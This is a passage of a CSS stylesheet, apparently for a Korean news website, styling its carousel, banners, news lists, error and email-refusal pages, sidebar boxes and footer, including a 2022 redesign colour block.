		.hero-carousel .next-button:hover .icon-arrow_l {color:#de1400}
		.hero-carousel .next-button {right:30px}
		
		/*  슬라이드 네비 - 수정 */
		.hero-carousel .flex-direction-nav .flex-next, .hero-carousel .flex-direction-nav .flex-prev {top:44%;}
		.hero-carousel .flex-direction-nav a.flex-next::before {left:17px;}
		.hero-carousel .flex-direction-nav a.flex-prev::before {left:12px;}
		/**/
		.hero-carousel .flex-control-nav { text-align:right; right:25px;}
		.hero-carousel .flex-control-nav li {margin:0 6px;}
		.hero-carousel .flex-control-paging li a {text-indent:1000px ;box-shadow: 0 0 2px 2px rgba(0, 0, 0, 0.36);}
		.hero-carousel .flex-control-paging li a.flex-active {background-color:#eaeaea;}
		
		/**/
		.hero-carousel .item.item-size-large h3 {font-family:'Noto Sans KR', sans-serif; font-weight:700;}		
	
	.hero-carousel .flex-direction-nav a.flex-prev {display: none;}
	/**/
	.hero-carousel-spacer {height:420px; margin-bottom:0; display:block;}
	
/*---------------------------------------------------------------- 배너 ----------------------------------------------------------------*/
.top_bn_zone { position:relative; margin-top:35px; display:block;   text-align:center}
	.top_bn_zone:before, .top_bn_zone:after{content:""; display:table}
	.top_bn_zone:after {clear:both}
	.top_bn_zone p {margin:0 auto;}
	.top_bn_zone iframe {}
	
	/* ad_txt */
	.ad_txt { width:100%; padding:7px 0; margin-top:2px; background-color:#f5f5f5; text-align:center;}
	
/* 사이드 배너 */
#divMenu, #divMenu2, #noTop, #noTop2 {width:100px; line-height:0px;}
#divMenu iframe, #divMenu2 iframe, #noTop iframe, #noTop2 iframe { margin-bottom:15px}
#mtMenu, #mtMenu2 {width:160px; line-height:0px; z-index:3;}

/* 플로팅 배너  */
.floating_banner {position:relative; border:1px solid #FFF; line-height:0px;}
.close_btn {position:absolute; margin:0px; padding:0px; right:10px; top:10px; line-height:0px;}
.close_btn a {padding:4px 5px; background-color:#000; border-radius:6px; line-height:10px; border:1px solid #CCC; color:#CCC; font-size:9px; font-weight:bold; display:block;}
.close_btn a:hover { background-color:#de1400;}

	
			
/*---------------------------------------------------------------- 컨텐츠영역 ----------------------------------------------------------------*/
.contentWrapper {width:1080px; z-index:2; padding:35px 0 0; margin:0 auto; background-color:#FFF; position:relative;}
	.container {-moz-box-sizing:border-box; -webkit-box-sizing:border-box; box-sizing:border-box; width:1080px; margin-left:auto; margin-right:auto; zoom:1; overflow: visible !important;}
	.container:before, .container:after {content: ""; display: table}
	.container:after {clear:both;}
	
	
	/* 왼쪽컨텐츠 */
	.contentWrapper .container .left_cont {float:left; width:750px; margin-right:30px;}	
	
	/* 뉴스 리스트 */
	.left_cont .news_box {width:750px; margin-bottom:30px;}
		.news_box:before, .news_box:after, .newsPost:before, .newsPost:after {content:""; display:table;}
		.news_box:after, .newsPost:after {clear:both;}
		
		/* 뉴스단락 기본 세팅 */
		.news_box .newsPost {width:750px; height:122px; margin-bottom:34px;} /* 단락별 세팅 */
		.news_box .newsPost:last-child {margin-bottom:0px;}
			/*공통세팅*/		
			.newsPost .assetThumb {float:left; width:170px; height:122px; margin-right:20px; position:relative;} /* 단락별 세팅 */
			/**/
			.newsPost .assetThumb .icon-video_play1 {font-size:60px; margin:0px; color:#FFF; position:absolute; top:36px; left:50px; z-index:1; opacity:0.8;}
			/**/
			.newsPost figure::before {content:""; display:block; width:100%; height:100%; left:0; position:absolute; top:0;}
			.newsPost:hover figure:before {
				background-color:rgba(17, 116, 199, 0.6);
				-webkit-transition-property:all; transition-property:all; -webkit-transition-duration:0.2s; transition-duration:0.2s; -webkit-transition-timing-function:ease; transition-timing-function:ease
			}
			.newsPost .assetThumb .img {position:relative; width:170px; height:122px; overflow:hidden; background-color:#ececec;} /* 단락별 세팅 */
			.newsPost figure img {width:100%; height:100%;}
			/**/
			.newsPost .assetText {float:right; width:560px; line-height:18px;} /* 단락별 세팅 */
			.newsPost .assetText h3 {font-size:18px; font-weight:bold; line-height:20px; margin-bottom:12px;} /* 단락별 세팅 */
			.newsPost .assetText p {font-size:13px; line-height:20px; color:#6b6b6b; margin:0 0 15px; height:44px; overflow:hidden;} /* 단락별 세팅 */
			.newsPost .assetText span:after {content:"/"; padding:0 8px;}
			.newsPost .assetText .byline {font-size:14px; color:#000; height:18px; margin:0px;} /* 단락별 세팅 */
			.newsPost .assetText .byline a {color:#1174c7;}
			.newsPost .assetText .byline a:hover {color:#de1400;} 
			 /**/ 
			.newsPost:hover .assetText h4 {color:#1174c7;}			
			
			/* 이미지 없을때 */
			.no_img .assetThumb {display:none !important;}
			.no_img .assetText {float:none; width:100% !important;}
			.no_img .assetText h4 {width:100% !important;}
			.no_img .assetText p {width:100% !important;}			
			
		/* 더보기 버튼 */
		.more_bt {
			display:block; background-color:#de1400; color:#FFF; font-size:16px; font-weight:900; text-align:center; padding:8px 20px;
			-moz-transition-property:all; -o-transition-property:all; -webkit-transition-property:all; transition-property:all;
			-moz-transition-duration:0.4s; -o-transition-duration:0.4s; -webkit-transition-duration:0.4s; transition-duration:0.4s;
			-moz-transition-timing-function:ease; -o-transition-timing-function:ease; -webkit-transition-timing-function:ease; transition-timing-function:ease;
		 }
		 .more_bt:hover { background-color:#000; color:#FFF;}

/*---------------------------------------------------------------- 에러안내 ----------------------------------------------------------------*/
.error_box {width:1080px; margin:0 auto; padding:60px 30px 10px;}
.error_box:before, .error_box:after{content:""; display:table;}
.error_box:after{clear:both;}
	.error_box .error_img {float:left; width:320px; margin:0 60px 0 35px;}
	/**/
	.error_box .error_txt {float:left; width:645px; padding-top:30px;}
	.error_box .error_txt h3 {font-size:38px; font-weight:900; color:#f4a080; margin-bottom:20px;}
	.error_box .error_txt p {font-size:22px; font-weight:bold; margin-bottom:35px;}
	.error_box .error_txt a {padding:10px 24px; background-color:#000; color:#FFF; font-size:16px; font-weight:bold; border-radius:3px; margin-right:15px;}
	.error_box .error_txt a:hover {
		background-color:#de1400;
		-moz-transition-property:all; -o-transition-property:all; -webkit-transition-property:all; transition-property:all;
		-moz-transition-duration:0.4s; -o-transition-duration:0.4s; -webkit-transition-duration:0.4s; transition-duration:0.4s;
		-moz-transition-timing-function:ease; -o-transition-timing-function:ease; -webkit-transition-timing-function:ease; transition-timing-function:ease;
		}
		
/*----------------------------------------------------------------  이메일 수집거부 ----------------------------------------------------------------*/
.email_box {width:1080px; margin:0 auto; padding:60px 30px 10px;}
.email_box:before, .email_box:after{content:""; display:table;}
.email_box:after{clear:both;}
	.email_box .email_img {float:left; width:320px; margin:0 60px 0 35px;}
	/**/
	.email_box .email_txt {float:left; width:645px;}
	.email_box .email_txt h3 {font-size:22px; font-weight:900; line-height:26px; color:#222222; margin-bottom:10px;}
	.email_box .email_txt p {font-size:16px; line-height:22px; margin-bottom:20px;}
	.email_box .email_txt a {padding:10px 24px; background-color:#000; color:#FFF; font-size:16px; font-weight:bold; border-radius:3px; margin-right:15px;}
	.email_box .email_txt a:hover {
		background-color:#de1400;
		-moz-transition-property:all; -o-transition-property:all; -webkit-transition-property:all; transition-property:all;
		-moz-transition-duration:0.4s; -o-transition-duration:0.4s; -webkit-transition-duration:0.4s; transition-duration:0.4s;
		-moz-transition-timing-function:ease; -o-transition-timing-function:ease; -webkit-transition-timing-function:ease; transition-timing-function:ease;
	}
		
/*---------------------------------------------------------------- 오른쪽 컨텐츠/메인 ----------------------------------------------------------------*/
.contentWrapper .container .right_cont {float:right; width:300px; display:block;}
	/* 배너 */
	.right_cont .bn_box {margin-bottom:25px; line-height:0px;}
	
	/* 제목 */
	.right_cont h2 {font-size:15px; font-weight:900; color:#000; position:relative; margin-bottom:10px;}
	.right_cont h2 span {background:#fff; padding:0 10px 0 0; position:relative;}
	.right_cont h2:before {border-top:1px solid #cad6de; content: ""; position:absolute; top:50%; left:0; right:0; bottom:0; width:100%;}
	.right_cont h2 a {font-weight:bold; font-size:13px; position:absolute; right:0px; background-color:#FFF; padding-left:10px;}
	
	.right_cont h3 {font-size:15px; font-weight:900; color:#000; position:relative; margin-bottom:15px;}	
	.right_cont h3 a {font-weight:bold; font-size:13px; position:absolute; right:0px; background-color:#FFF; padding-left:10px;}
	
	/* 히트뉴스 */
	.right_cont .right_hit_news_box {border-left:1px solid #cad6de; padding-left:15px; }
		/* 뉴스 단락세팅 */	
		.right_hit_news_box .newsPost {width:285px; margin-bottom:10px;}
			.right_hit_news_box .newsPost .assetText {width:285px; float:none;}
			.right_hit_news_box .newsPost .assetText h4 {font-size:14px; height:18px; display:block; font-weight:normal; white-space:nowrap; overflow:hidden; text-overflow:ellipsis;}
			.right_hit_news_box .size-large .assetText h4 {font-weight:bold; height:36px; white-space:normal; position:relative; padding-left:25px;}
			.right_hit_news_box .size-large .assetText h4:before { padding-bottom:10px; position:absolute; left:0;} 
			/**/
			.right_hit_news_box .icon_high .assetText h4:before {content:"\e916"; padding-right:10px; color:#e21706; font-family: 'icomoon';}
			.right_hit_news_box .icon_nome .assetText h4:before {content:"\ea0b"; padding-right:10px; color:#adb2ae; font-family: 'icomoon';}
			.right_hit_news_box .icon_low .assetText h4:before {content:"\e915"; padding-right:10px; color:#1174c7; font-family: 'icomoon';}
		/**/	
	
	/* 영문뉴스 */
	.right_cont .enews_box {margin-bottom:25px; line-height:15px; position:relative;}
		.enews_box h3 {display:inline-block;}
		.enews_box a {font-weight:bold; font-size:13px; position:absolute; right:0px;}
		.enews_box ul li {padding:8px 10px; width:300px; display:inline-block; white-space:nowrap; overflow:hidden; text-overflow:ellipsis; line-height:16px;}
		.enews_box .bg {background-color:#f4f7f8;}
		.enews_box ul li a { position:inherit;}
	/* 인사 부음 & 알림 */
	.right_cont .info_box  {margin-bottom:25px; line-height:15px; position:relative;}
		.info_box h3 {display:inline-block; }
		.info_box a {font-weight:bold; font-size:13px; position:absolute; right:0px;}		
		.info_box ul {background-color:#f4f7f8; padding:10px;}
		.info_box ul li { padding-top:6px; width:300px; display:inline-block; white-space:nowrap; overflow:hidden; text-overflow:ellipsis; line-height:16px;}		
		.info_box ul li a { font-weight:normal; position:inherit;}
	/* 파워센터 */	
	.right_cont .power_box { margin-bottom:0px;}
		.power_box h3 {font-size:15px; font-weight:900; position:relative; margin-bottom:10px;}
		.power_box h3 span {background:#fff; padding:0 20px 0 0; position:relative;}
		.power_box h3:before {border-top:1px solid #cad6de; content: ""; position:absolute; top:50%; left:0; right:0; bottom:0; width:100%;}
		/**/
		.power_box .powerPost {width:300px;margin-bottom:18px;}
		.power_box .powerPost:last-child {margin-bottom:0px;}
		.power_box .powerPost .assetThumb {width:300px; height:50px; line-height:0px; position:relative;}
		/**/
		.power_box .powerPost .assetText {width:300px; padding-top:10px;} /* 단락별 세팅 */
		.power_box .powerPost .assetText li {line-height:20px; height:23px; }
		
	/*---------------------------------------------------------------- 서브페이지 ----------------------------------------------------------------------*/	
	
	/* 뉴스 리스트 */
	.right_cont .right_news_box {margin-bottom:25px;}
		.right_news_box h3 {font-size:15px; font-weight:900; color:#080e14; position:relative; margin-bottom:20px;}
		.right_news_box h3 span {background:#fff; padding:0 10px 0 0; position:relative;}
		.right_news_box h3:before {border-top:1px solid #cad6de; content: ""; position:absolute; top:50%; left:0; right:0; bottom:0; width:100%;}
		/* 뉴스 단락세팅 */
		.right_news_box .newsPost {width:300px; height:50px; margin-bottom:17px;}
			.newsPost:before, .newsPost:after {content:""; display:table;}
			.newsPost:after {clear:both;}		
			/**/
			.right_news_box .newsPost .assetThumb {float:left; width:90px; height:50px; margin-right:15px; position:relative;} /* 단락별 세팅 */
			/**/
			.right_news_box .newsPost .assetThumb .icon-video_play1 {font-size:36px; margin:0px; color:#FFF; position:absolute; top:16px; left:26px; z-index:1; opacity:0.8;}
			/**/
			.right_news_box .newsPost figure::before {content:""; display:block; width:100%; height:100%; left:0; position:absolute; top:0;}
			.right_news_box .newsPost:hover figure:before {
				background-color:rgba(17, 116, 199, 0.6);
				-webkit-transition-property:all; transition-property:all; -webkit-transition-duration:0.2s; transition-duration:0.2s; -webkit-transition-timing-function:ease; transition-timing-function:ease
			} 
			.right_news_box .newsPost .assetThumb .img {position:relative; width:90px; height:50px; overflow:hidden;} /* 단락별 세팅 */			
			.right_news_box .newsPost .assetText {float:right; width:195px;} /* 단락별 세팅 */
			.right_news_box .newsPost .assetText h4 {font-size:14px; font-weight:bold; line-height:20px; margin-bottom:2px; width:195px; height:40px; overflow:hidden;}			
			.right_news_box .newsPost .assetText .byline {font-size:12px; color:#000; display:block;}
			 /**/ 			
			.right_news_box .newsPost:hover .assetText h4 {color:#1174c7;}			
			
		.right_cont .bn_box:last-child { margin-top:25px;} 
		
	/* 강소기업 */
	.right_cont .special_news {margin-top:25px;}
		.special_news .newsPost {height:60px;}
		.special_news .newsPost .newsPost .assetThumb {height:60px;}
		.special_news .newsPost .assetThumb .img {height:60px;}
		.special_news .newsPost .assetText h4 {font-size:13px;}
		.special_news .newsPost .assetText .special {font-size:12px; display:block; height:18px; margin:0 0 2px 0; color:#de1400;}
		
	/* 왼쪽메뉴 고정 */
	.f_box {
		-webkit-transition-property:all; transition-property:all; -webkit-transition-duration:0.05s; transition-duration:0.05s; -webkit-transition-timing-function:ease; transition-timing-function:ease;
		 -webkit-transition:all 0.03s ease-in-out; transition:all 0.03s ease-in-out;
		}
	.nav-bottom {position:fixed; bottom:0; width:300px;}
	.nav-bottom_end {bottom:365px;}
	
	.fix {position:fixed; bottom:0; width:300px;}
	
	
/**/
.contentWrapper .container .is_stuck {}

/*---------------------------------------------------------------- 푸터 ----------------------------------------------------------------*/
.footer_box {background-color:#080e14; color:#abbeca; line-height:1.1875em; padding:40px 0 60px; overflow:auto; display:block;}	
	/**/
	.footer_info {float:left; width:490px; margin-right:30px; padding-bottom:30px;}
		.footer_info .footer_info_box:before, .footer_info .footer_info_box:after{content:""; display:table;}
		.footer_info .footer_info_box:after {clear:both}
			.footer_logo {float:left; width:186px; padding-top:22px; padding-right:30px; margin:0px;}		
			.social-links-wrapper {float:left; display:block;}
			.social-links-wrapper p {font-weight:bold; font-size:13px; color:#de1400; text-transform:uppercase; margin:0px 0 20px; text-align:center;}
			/**/
			.footer_info_box .social-links-wrapper .circle {display:inline-block; position:relative; border-radius:50%; height:50px; width:50px; margin-top:-10px; transform:translateZ(0);}			
			.footer_info_box .social-links-wrapper .circle .icon-facebook, .footer_info_box .social-links-wrapper .circle .icon-twitter, .footer_info_box .social-links-wrapper .circle .icon-rss-1, .circle .icon-youtube {
				display:inline-block; position:absolute; color:#de1400; width:15px; height:15px; top:16px; left:16px; font-size:18px;
			}
			.footer_info_box .social-links-wrapper .circle:hover .icon-facebook, .footer_info_box .social-links-wrapper .circle:hover .icon-twitter, .footer_info_box .social-links-wrapper .circle:hover .icon-rss-1, .circle:hover .icon-youtube 
			{color: #fff}			
			.footer_info_box .social-links-wrapper .circle::before {content:''; position:absolute; top:0;left:0; width:100%; height:100%; border-radius:inherit; box-shadow:inset 0 0 0 2px #de1400; 
				transform:scale3d(0.9, 0.9, 1); transition:box-shadow 0.4s, transform 0.4s;
			 }
			.footer_info_box .social-links-wrapper .circle:hover::before {box-shadow: inset 0 0 0 35px #de1400; transform: scale3d(1, 1, 1)}			
			.footer_info_box .social-links-wrapper .circle:not(:last-of-type) {margin-right:5px;}
		/**/
		.footer_info .copyright {margin:20px 0; font-size:12px; display:block; letter-spacing:-1px;}
			.footer_info .copyright a {color:#FFF; font-size:13px; display:inline-block; letter-spacing:0px;}
			.footer_info .copyright a:hover {color:#abbeca; letter-spacing:0px;}
		.footer_info .newsletter {}
			.footer_info .newsletter form label {font-size:12px; display:inline; color:#de1400; margin-right:10px;}
			.footer_info .newsletter input[type="text"] {margin:0px; width:163px; color:#888; font-size:12px;}
			.footer_info .newsletter a {color:#de1400; font-size:12px; margin-left:3px; border:1px solid #de1400; padding:8px 10px; }
			.footer_info .newsletter a:hover {background-color:#de1400; color:#FFF; font-size:12px;}
			
	.footer_box .footer_cont {float:right; width:560px;}
		.footer_box .footer_cont ul {float:right;}
		.footer_box .footer_cont ul:before, .footer_box .footer_cont ul:after {content:""; display:table;}
		.footer_box .footer_cont ul:after {clear:both;}
		.footer_box .footer_cont ul li {float:left;}		
		.footer_box .footer_cont ul li::before {color:#abbeca; content: "l"; margin-right:6px; padding-left:6px; font-size:11px; position:relative;}
		.footer_box .footer_cont ul li:first-child::before {padding:0px; margin:0px; content: "";}
		.footer_box .footer_cont a {color:#FFF; font-size:13px;}
		.footer_box .footer_cont a:hover {color:#abbeca;}
		/**/
		.footer_box .footer_cont .right_txt {line-height:26px;}
		.footer_box .footer_cont .right_txt li {font-size:13px}

/*2022 리뉴얼 */
.social-links-wrapper p {color: #fff;}
.footer_info_box .social-links-wrapper .circle::before {box-shadow: inset 0 0 0 2px #c7db57;}
.footer_info_box .social-links-wrapper .circle .icon-facebook, .footer_info_box .social-links-wrapper .circle .icon-twitter, .footer_info_box .social-links-wrapper .circle .icon-rss-1, .circle .icon-youtube {color: #c7db57;}
.footer_info_box .social-links-wrapper .circle:hover .icon-facebook, .footer_info_box .social-links-wrapper .circle:hover .icon-twitter, .footer_info_box .social-links-wrapper .circle:hover .icon-rss-1, .circle:hover .icon-youtube 
{color: #080a12;}
.footer_info_box .social-links-wrapper .circle:hover::before {box-shadow: inset 0 0 0 35px #c7db57; transform: scale3d(1, 1, 1)}

.footer_info .newsletter form label {color:#d9ff55;}
.footer_info .newsletter a {background-color: #d9ff55; color: #20222a; font-size: 12px; margin-left: 3px; padding: 8px 10px; border:1px solid #d9ff55;}
.footer_info .newsletter a:hover {background-color: #080e14; color: #d9ff55;  border: 1px solid #d9ff55;}

/*quick*/
.quick{position:fixed; right:15px; bottom:30px; z-index:9; display:none;}